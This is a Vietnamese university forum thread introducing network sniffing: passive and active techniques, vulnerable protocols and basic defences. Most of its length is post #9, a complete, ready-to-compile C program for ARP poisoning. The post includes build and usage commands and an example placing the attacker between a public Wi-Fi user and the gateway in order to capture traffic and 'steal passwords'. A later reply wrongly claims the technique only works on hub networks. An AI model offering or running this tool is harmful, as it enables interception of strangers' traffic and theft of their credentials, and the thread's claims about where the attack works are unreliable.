User Tag List

+ Trả lời chủ đề
Trang 1/6 123 ... CuốiCuối
Hiện kết quả từ 1 tới 10 của 51

Chủ đề: Thảo luận: Sniffers

  1. #1
    [ -~] Avatar của bino1810
    Tham gia ngày
    Mar 2012
    Bài gửi
    424

    Mặc định Thảo luận: Sniffers

    Hôm nay ngồi dọn dẹp ổ cứng, đập vào mắt là 1 file PDF nổi bật ở ngay ổ D. Không hiểu nó nằm ở đấy từ bao giờ. Ngồi đọc lại thấy hay nên muốn lập 1 topic thảo luận với anh em về 1 kĩ năng mà bất cứ Network Admin nào cũng phải thành thạo: Sniffing

    Topic gồm các vấn đề sau:

    - Thế nào là Sniffing?
    - Sniffer hoạt động như thế nào?
    - Các kiểu Sniffing
    - Cách phòng chống

    Mời anh em cùng thảo luận.
    SVBK.VN Kết nối bạn bè - Bách Khoa tụ hội

  2. Có 2 thành viên cảm ơn bài viết của bino1810 có chất lượng:


  3. #2
    [ -~] Avatar của bino1810
    Tham gia ngày
    Mar 2012
    Bài gửi
    424

    Mặc định Re: Thảo luận: Sniffers

    Anh em có vẻ không quan tâm đến mảng này lắm nhỉ^^ Thôi để em "tự sướng" vậy

    - Sniffing chỉ hành động nghe lén, bắt gói tin lưu thông trong mạng. Sau khi bắt được gói tin thì có thể phân tích chúng để có được những thông tin mình cần. Một lưu ý là việc sniffing chỉ có thể xảy ra với gói tin trong cùng subnet.

    - Một chương trình sniffer sẽ khiến NIC của hệ thống chuyển sang trạng thái "promiscuous mode". Ở trạng thái này, NIC sẽ lắng nghe tất cả luồng dữ liệu truyền qua nó. Sniffer sẽ đọc tất cả dữ liệu này bằng cách giải mã thông tin đã được đóng gói trong data packet.

    - Có 2 kiểu sniffing:

    + Passive Sniffing: Nghĩa là sniffing thông qua HUB. Qua HUB luồng dữ liệu được gửi đến tất cả các port, chúng ta chỉ cần theo dõi packet được gửi từ máy khác mà không cần gửi đi bất cứ packet nào.

    + Active Sniffing: Nghĩa là sniffing trong mạng có SWITCH. Cơ chế hoạt động của nó là injecting packet( ARP ), tạo ra một lưu lượng lớn trong mạng. Các kĩ thuật Active Sniffing điển hình là: MAC FLOODING, MAC DUPLICATING, ARP SPOOFING, DHCP STARVATION.

    Một số giao thức dễ bị sniffing: telnet, http, smtp, nntp, ftp, pop, imap....Cần chú ý rằng những giao thức sử dụng thêm SSL cũng chưa chắc đã an toàn, nếu bị sniff thì vẫn có thể bị giải mã.

    - Có rất nhiều kĩ thuật sniffing, do đó việc bảo vệ network khỏi bị sniff là công việc không dễ dàng. Sau đây là một số cách cơ bản:

    + Hạn chế tối đa việc physical access trong mạng
    + Mã hóa thông tin quan trọng
    + Thêm địa chỉ MAC của gateway vào ARP cache
    + Sử dụng IPv6
    + Sử dụng các phiên được mã hóa như SSH, Secure Copy( SCP ), SSL cho email...


    Trên đây là những nét tổng quát nhất về sniffing. Bạn nào muốn tìm hiểu sâu về những kĩ thuật sniffing xin mời nêu ý kiến để anh em cùng thảo luận.

  4. Có 2 thành viên cảm ơn bài viết của bino1810 có chất lượng:


  5. #3
    .:: Grumpy svBKer ::. Avatar của 1973
    Tham gia ngày
    Mar 2010
    Bài gửi
    3.793

    Mặc định Re: Thảo luận: Sniffers

    Mình có câu hỏi thế này: Làm thế nào để Sniff các gói tin truyền ra và truyền vào của 1 server nếu server này không có các biện pháp chặn Sniffing (tức là ai đó có thể sniff)?
    Contact me:
    Email: sangnd [at] svBK.vn
    Personal website: My Blog | Chat với người lạ
    Facebook Page của Bách Khoa Forum: http://www.facebook.com/svbk.vn

  6. #4
    [ -~] Avatar của bino1810
    Tham gia ngày
    Mar 2012
    Bài gửi
    424

    Mặc định Re: Thảo luận: Sniffers

    Quote Nguyên văn bởi 1973 Xem bài viết
    Mình có câu hỏi thế này: Làm thế nào để Sniff các gói tin truyền ra và truyền vào của 1 server nếu server này không có các biện pháp chặn Sniffing (tức là ai đó có thể sniff)?
    Chỉ có thể sniff gói tin trong cùng 1 subnet. Do vậy bất kì ai có quyền physical access trong subnet của server thì đều có khả năng sniff. Do vậy khi xây dựng mô hình mạng các công ty luôn có một phần gọi là CORE, ngăn cách với các VLAN bởi firewall. Nếu gói tin của server chỉ truyền trong vùng CORE thì hacker ở các VLAN không thể sniff được.

    Tuy nhiên nếu server giao tiếp với client ở VLAN thì vẫn bị sniff như thường

  7. Tớ cảm ơn bino1810 đã chia sẻ.


  8. #5
    Điều hành viên Avatar của Infoboy
    Tham gia ngày
    Aug 2008
    Bài gửi
    472

    Mặc định Re: Thảo luận: Sniffers

    Cho hỏi cái physical access ở đây cụ thể là cái gì vậy ???
    Chúa trao cơ hội cho người đã chuẩn bị

  9. #6
    [ -~] Avatar của bino1810
    Tham gia ngày
    Mar 2012
    Bài gửi
    424

    Mặc định Re: Thảo luận: Sniffers

    Physical access tức là máy của hacker phải có một kết nối vật lí với subnet của server, thông qua switch mà server kết nối chẳng hạn, hoặc ngồi trực tiếp trên server cũng là physical access

  10. #7
    Điều hành viên Avatar của Infoboy
    Tham gia ngày
    Aug 2008
    Bài gửi
    472

    Mặc định Re: Thảo luận: Sniffers

    Vậy thì quá khó , hầu như có thể nói là không thể , trừ khi có tay trong. Như mình biết 1 anh Viettel , đặt server tại trung tâm mà đến khi có lỗi muốn truy cập thì phải vác xác lên tận nơi , mang theo giấy xác nhận mới được phép vào , ngoài ra không được sử dụng ssh để truy cập vào server khi có sự cố.
    Cái này làm mình liên tưởng mấy bộ phim mấy chú hacker chui vào tận công ty , nối dây cable vào dây cable hệ thống để thì có thể bắt được các tín hiệu camera , thu lại 1 đoạn phim 10s rồi ghi đè nó lại khiến các bác ngồi phòng camera bị mù , nhưng mà đó chỉ là phim

  11. #8
    [ -~] Avatar của bino1810
    Tham gia ngày
    Mar 2012
    Bài gửi
    424

    Mặc định Re: Thảo luận: Sniffers

    Thế nên phía client mới hay bị khai thác Mục đích server là để cung cấp dich vụ cho client mà, thế nên hacker lợi dụng quá trình truyền thông giữa client với server để sniff. Chứ muốn có physical access với server trong thực tế thì phải cỡ Thiên Thần Charlie

  12. #9
    HUT's Student
    Tham gia ngày
    Feb 2012
    Bài gửi
    272

    Mặc định Re: Thảo luận: Sniffers

    Mọi hôm đọc chả hiểu gì. Bây giờ đang học mạng máy tính nên cũng thấm được đôi điều.

    Mặc dù đã có nhiều chương trình chuyên nghiệp dành riêng cho việc này nhưng cũng xin đóng góp chương trình arp-poison rất đơn giản do mình mới viết, chỉ chạy được trên Linux. Giả sử MAC của mình là A, thì nó sẽ liên tục gửi gói tin ARP Reply giả mạo đến hai host B và C cho trước, làm cho B nghĩ rằng MAC của C là A, và C nghĩa rằng MAC của B là A. Như vậy mọi giao tiếp giữa B và C đều phải thông qua A. Lúc đó muốn nghiên cứu / trộm password gì thì tùy thích.

    PHP Code:
    /*
     * ==============================================================
     *
     *       Filename:  arp-poison.c
     *
     *    Description:  
     *
     *        Version:  1.0
     *        Created:  07/27/2012 08:48:04 PM
     *       Revision:  none
     *       Compiler:  gcc
     *
     *         Author:  YOUR NAME (), boss14420@gmail.com
     *   Organization:  
     *
     * ==============================================================
     */

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdbool.h>

    #include <unistd.h>
    #include <getopt.h>
    #include <sys/ioctl.h>

    #include <linux/if_ether.h>

    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <net/if.h>
    #include <net/if_arp.h>
    #include <net/ethernet.h>
    #include <netinet/if_ether.h>
    #include <netpacket/packet.h>

    #define ETH_MAC_LEN 6

    typedef unsigned char uchar;

    void usage(char const*);
    void create_arp_packet(uchar const*, uchar const*, 
                            
    struct in_addrstruct in_addruchar*);
    int get_mac_ifindex(char const*, uchar*, int*);
    int get_arp_mapping(char const*, struct in_addruchar*);

    int main(int argcchar *argv[]) 
    {
        
    int interval 5;
        
    char interface[20] = { '\0' };
        
    struct in_addr ip1ip2;
        
    uchar local_mac[ETH_MAC_LEN], mac1[ETH_MAC_LEN], mac2[ETH_MAC_LEN];
        
    int ifindex/// interface index

        // parse option
        
    int opt;
        while( (
    opt getopt(argcargv"t:i:h")) != -1) {
            switch(
    opt) {
                case 
    't':
                    
    interval atoi(optarg);
                    if(
    interval <= 0) {
                        
    fprintf(stderr"INTERVAL must be positive.\n");
                        
                    }
                    break;
                case 
    'i':
                    
    strncpy(interface, optarg20);
                    if(
    get_mac_ifindex(interface, local_mac, &ifindex) == -1)
                        exit(
    EXIT_FAILURE);
                    break;
                case 
    'h':
                    
    usage(argv[0]);
                    exit(
    EXIT_SUCCESS);
                default:
                    
    usage(argv[0]);
                    exit(
    EXIT_FAILURE);
            }
        }

        if(!interface[
    0] || argc optind != 2) {
            
    usage(argv[0]);
            exit(
    EXIT_FAILURE);
        }

        
    in_addr_t in1 inet_addr(argv[optind]), in2 inet_addr(argv[optind+1]);
        if(
    in1 == INADDR_NONE || in2 == INADDR_NONE) {
            
    usage(argv[0]);
            exit(
    EXIT_FAILURE);
        }
        
    ip1.s_addr in1ip2.s_addr in2;

        
    // find mac address
        
    if(get_arp_mapping(interface, ip1mac1) == -||
                    
    get_arp_mapping(interface, ip2mac2) == -1)
            exit(
    EXIT_FAILURE);

        
    // create socket
        
    int s socket(AF_PACKETSOCK_RAWhtons(ETH_P_ARP));
        if(
    0) {
            
    perror("socket()");
            exit(
    EXIT_FAILURE);
        }

        
    struct sockaddr_ll socket_address1 = {
                .
    sll_family     =   AF_PACKET,
                .
    sll_protocol   =   htons(ETH_P_ARP),
                .
    sll_ifindex    =   ifindex,
                .
    sll_halen      =   ETH_ALEN,
                .
    sll_addr       =   { [ETH_MAC_LEN] = 0x00, [7] = 0x00 }
            }, 
    socket_address2 socket_address1;

        
    memcpy((void*)socket_address1.sll_addr, (void*)mac1ETH_MAC_LEN); 
        
    memcpy((void*)socket_address2.sll_addr, (void*)mac2ETH_MAC_LEN); 

        
    // create arp packet
        
    const size_t frame_size sizeof(struct ether_header
                                        + 
    sizeof(struct ether_arp);
        
    uchar arp_frame1[frame_size], arp_frame2[frame_size];
        
    create_arp_packet(local_macmac1ip2ip1arp_frame1);
        
    create_arp_packet(local_macmac2ip1ip2arp_frame2);

        
    // send arp packet
        
    ssize_t sent;
        while(
    true) {
            
    sent sendto(s, (void*)arp_frame1frame_size0,
                    (
    struct sockaddr*)&socket_address1sizeof(socket_address1));
            if(
    sent == -1) {
                
    perror("sendto()");
                exit(
    EXIT_FAILURE);
            }
            
    sent sendto(s, (void*)arp_frame2frame_size0,
                    (
    struct sockaddr*)&socket_address2sizeof(socket_address2));
            if(
    sent == -1) {
                
    perror("sendto()");
                exit(
    EXIT_FAILURE);
            }
            
    sleep(interval);
        }

        return 
    0;
    }


    /* 
     * ===  FUNCTION  ================================================
     *         Name:  usage
     *  Description:  print usage
     * ===============================================================
     */
    void usage (char const * progname)
    {
        
    fprintf(stderr"Usage: %s [-t INTERVAL] -i INTERFACE IP1 IP2\n",
                
    progname);
    }        
    /* -----  end of function usage  ----- */


    /* 
     * ===  FUNCTION  ================================================
     *         Name:  get_mac_ifindex
     *  Description:  get MAC address and interface index of interface
     * ===============================================================
     */
    int get_mac_ifindex (char const* interface, ucharmacintifindex)
    {
        
    struct ifreq ifr;
        
    memset(&ifr0sizeof ifr);
        
    size_t if_name_len strlen(interface);
        
    memcpy(ifr.ifr_name, interface, if_name_len);
        
        
    // open IPv4 socket for use when calling ioctl
        
    int fd socket(AF_INETSOCK_DGRAM0);
        if(
    fd == -1) {
            
    perror("socket()");
            return -
    1;
        }

        
    // obtain MAC address
        
    if(ioctl(fdSIOCGIFHWADDR, &ifr) == -1) {
            
    perror("SIOCGIFHWADDR");
            
    close(fd);
            return -
    1;
        }
        
    memcpy(macifr.ifr_hwaddr.sa_dataETH_MAC_LEN);

        
    // get interface index
        
    if(ioctl(fdSIOCGIFINDEX, &ifr) == -1) {
            
    perror("SIOCGIFINDEX");
            
    close(fd);
            return -
    1;
        }
        *
    ifindex ifr.ifr_ifindex;

        
    close(fd);

        return 
    0;
    }        
    /* -----  end of function get_mac_ifindex  ----- */


    /* 
     * ===  FUNCTION  ================================================
     *         Name:  get_arp_mapping
     *  Description:  
     * ===============================================================
     */
    int get_arp_mapping (char const* interface, struct in_addr ipucharmac)
    {
        
    struct arpreq areq;
        
    memset(&areq0sizeof areq);
        
    struct sockaddr_in *sin = (struct sockaddr_in*)&areq;
        
    sin->sin_family AF_INET;
        
    sin->sin_addr.s_addr ip.s_addr;
        
    areq.arp_flags ATF_PUBL;
        
    strcpy(areq.arp_dev, interface);

        
    int fd socket(AF_INETSOCK_DGRAM0);
        if(
    fd == -1) {
            
    perror("socket()");
            return -
    1;
        }
        if( 
    ioctl(fdSIOCGARP, &areq) == -1) {
            
    perror(inet_ntoa(ip));
            
    close(fd);
            return -
    1;
        }
        
    memcpy(macareq.arp_ha.sa_dataETH_MAC_LEN);

        
    close(fd);
        return 
    0;
    }        
    /* -----  end of function get_arp_mapping  ----- */



    /* 
     * ===  FUNCTION  ================================================
     *         Name:  create_arp_packet
     *  Description:  
     * ===============================================================
     */
    void create_arp_packet (uchar const* src_macuchar const* dst_mac,
            
    struct in_addr src_ipstruct in_addr dst_ipuchardata)
    {
        
    // ethernet header
        
    struct ether_header *header = (struct ether_header*) data;
        
    header->ether_type htons(ETH_P_ARP);
        
    memcpy(header->ether_shostsrc_macETH_MAC_LEN);
        
    memcpy(header->ether_dhostdst_macETH_MAC_LEN);

        
    // arp packet
        
    struct ether_arp *req = (struct ether_arp*) (data sizeof(struct ether_header));
        
    req->arp_hrd    =   htons(ARPHRD_ETHER);
        
    req->arp_pro    =   htons(ETH_P_IP);
        
    req->arp_hln    =   ETHER_ADDR_LEN;
        
    req->arp_pln    =   sizeof(in_addr_t);
        
    req->arp_op     =   htons(ARPOP_REPLY);
        
    memcpy(req->arp_thadst_macETH_MAC_LEN);     // dest MAC
        
    memcpy(req->arp_shasrc_macETH_MAC_LEN);     // source MAC
        
    memcpy(req->arp_tpa, &dst_ip.s_addr4);     // dest IP
        
    memcpy(req->arp_spa, &src_ip.s_addr4);     // source IP
    }        /* -----  end of function create_arp_packet  ----- */ 
    Biên dịch:
    Mã:
    gcc arp-poison.c -o arp-poison -Wall -std=gnu99
    Cách dùng:
    Mã:
    ./arp-poison -i <giao diện mạng> [-t <thời gian giữa 2 lần gửi ARP Packet, mặc định 5s>] <IP máy 1> <IP máy 2>
    VD: đang dùng wifi công cộng, gateway giả sử là 192.168.1.1, để sniff toàn bộ giao tiếp giữa máy 192.168.1.100 với internet thì:
    - Bật ip forward, (Linux mặc định tắt ip forward):
    # echo 1 > /proc/sys/net/ipv4/ip_forward
    >_

    - Đầu độc ARP
    # ./arp-poison -i wlan0 192.168.1.100 192.168.1.1
    >_


    Sau đó có thể dùng những chương trình bắt gói tin như tcpdump hay wireshark.
    Lần sửa cuối bởi boss14420; 28-07-2012 lúc 01:40 AM

  13. #10
    [ -~] Avatar của bino1810
    Tham gia ngày
    Mar 2012
    Bài gửi
    424

    Mặc định Re: Thảo luận: Sniffers

    @boss14420: Cần hiểu là cái trò này chỉ có tác dụng với mạng sử dụng hub, mà bây giờ thì hub dẹp rồi. Muốn sử dụng với mạng dùng switch thì phải làm gì đấy với con switch đã.

    Với mạng Wifi thì mình nghĩ cái trò trên vô dụng.

+ Trả lời chủ đề
Trang 1/6 123 ... CuốiCuối

Thông tin chủ đề

Users Browsing this Thread

Hiện có 1 người đọc bài này. (0 thành viên và 1 khách)

Từ khóa (Tag) của chủ đề này

Quyền viết bài

  • Bạn không thể gửi chủ đề mới
  • Bạn không thể gửi trả lời
  • Bạn không thể gửi file đính kèm
  • Bạn không thể sửa bài viết của mình


About svBK.VN

    Bách Khoa Forum - Diễn đàn thảo luận chung của sinh viên ĐH Bách Khoa Hà Nội. Nơi giao lưu giữa sinh viên - cựu sinh viên - giảng viên của trường.

Follow us on

Twitter Facebook youtube